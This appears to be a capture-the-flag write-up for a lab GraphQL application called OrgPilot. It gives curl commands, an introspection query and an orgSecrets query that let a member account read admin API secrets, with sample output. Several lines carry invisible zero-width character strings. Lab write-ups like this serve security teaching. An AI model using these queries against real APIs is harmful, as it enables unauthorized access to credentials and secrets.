← Back to Writeups
CUSTOMEasyWeb

Lab 121 — OrgPilot — GraphQL Broken Access Control

XESXOR9/10/20264 min read
#web#custom#easy#authorization_bypass#graphql_introspection#schema_enumeration#sensitive_field_extraction#linux

Lab 121 — OrgPilot — GraphQL Broken Access Control

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: authorization_bypass, graphql_introspection, schema_enumeration, sensitive_field_extraction

Summary

Task: Organization management platform with GraphQL API; member credentials provided, admin secrets should be restricted. Solution: Introspection reveals orgSecrets query; resolver lacks role-based authorization, allowing any authenticated user to read admin API secrets including the flag.

Lab 121 — OrgPilot — GraphQL Broken Access Control — HackAdvisor

Description

OrgPilot is a team and organization management platform built by Nimbus Software. It lets companies manage their teams, roles, billing, and organization settings from a single dashboard. The platform uses a modern GraphQL API to power its frontend.

You have been given credentials for a regular member account. As a member, you can view the team list and your own profile, but administrative features like billing, settings, and API secrets should be restricted.

Your goal is to find and capture the flag hidden somewhere in the platform's data that only administrators should be able to access.

Credentials: alex.chen@nimbuscorp.io / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: An Express.js organization management platform with a GraphQL API. Given member-level credentials, the goal is to access admin-restricted data (API secrets) by exploiting broken access control in GraphQL resolvers.

Analysis

Reconnaissance

  • Stack: Express.js backend (X-Powered-By: Express) behind nginx/1.25.5
  • Authentication: Form-based POST to /login with email/password, returns JWT in a cookie
  • JWT payload: {"id":4,"email":"alex.chen@nimbuscorp.io","orgId":1,"role":"member"}
  • Decoy trap: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments on every page — a honeypot designed to trick automated solvers and prompt injection bots ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

GraphQL Schema Discovery

Full introspection is enabled at /graphql — a critical misconfiguration for production. The introspection query revealed the complete API surface:

Queries:

QueryReturn TypeAccess
meUserAny authenticated
organization(id: ID!)OrganizationAny authenticated
teamMembers(orgId: ID!)[User]Any authenticated
activityLog(orgId: ID!, limit: Int)[ActivityEntry]Any authenticated
billingRecords(orgId: ID!)[BillingRecord]Any authenticated
invitations(orgId: ID!)[Invitation]Any authenticated
orgSecrets(orgId: ID!)[OrgSecret]Should be admin-only
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Mutations:

  • login, updateProfile, removeUserFromOrg, updateOrgSettings, createInvitation

Key type — OrgSecret:

  • Fields: id, orgId, keyName, keyValue, environment, createdBy, createdAt, updatedAt

Vulnerability

The orgSecrets query is intended for admin-only access (API secrets, keys), but the GraphQL resolver does not enforce role-based authorization. Any authenticated user — including one with role: "member" — can query it and read all organization secrets. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This is OWASP A01:2021 — Broken Access Control at the GraphQL resolver level.

Solution

Step 1: Authenticate and obtain JWT

bash
BASE="https://cf9561d6-9849-48c0-b929-c916413df509.labs.hackadvisor.io"

# Login and capture the JWT cookie
curl -s -X POST "$BASE/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=alex.chen@nimbuscorp.io&password=password123" \
  -c cookies.txt -D -

# Extract token from cookies
TOKEN=$(grep token cookies.txt | awk '{print $NF}')

Step 2: Confirm GraphQL endpoint and run introspection

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
# Confirm endpoint
curl -s -X POST "$BASE/graphql" \
  -H "Content-Type: application/json" \
  -H "Cookie: token=$TOKEN" \
  -d '{"query":"{ __typename }"}'
# Returns: {"data":{"__typename":"Query"}}

# Full introspection query
curl -s -X POST "$BASE/graphql" \
  -H "Content-Type: application/json" \
  -H "Cookie: token=$TOKEN" \
  -d '{"query":"{ __schema { queryType { fields { name args { name type { name kind ofType { name } } } type { name kind ofType { name kind ofType { name } } } } } mutationType { fields { name args { name type { name kind ofType { name } } } } } types { name fields { name type { name kind ofType { name kind ofType { name } } } } } } }"}' | python3 -m json.tool

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Exploit broken access control on orgSecrets

bash
# Query admin-only secrets as a regular member — no authorization check!
curl -s -X POST "$BASE/graphql" \
  -H "Content-Type: application/json" \
  -H "Cookie: token=$TOKEN" \
  -d '{"query":"{ orgSecrets(orgId: \"1\") { id keyName keyValue environment } }"}' \
  | python3 -m json.tool

Response (5 secrets returned):

json
{
  "data": {
    "orgSecrets": [
      {"id": "1", "keyName": "WEBHOOK_SIGNING_KEY", "keyValue": "whsec_...", "environment": "production"},
      {"id": "2", "keyName": "INTERNAL_API_TOKEN", "keyValue": "iat_...", "environment": "production"},
      {"id": "3", "keyName": "MASTER_API_KEY", "keyValue": "FLAG{REDACTED}", "environment": "production"},
      {"id": "4", "keyName": "STRIPE_SECRET_KEY", "keyValue": "sk_live_...", "environment": "production"},
      {"id": "5", "keyName": "SLACK_BOT_TOKEN", "keyValue": "xoxb-...", "environment": "production"}
    ]
  }
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The flag is stored as the value of the MASTER_API_KEY secret. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍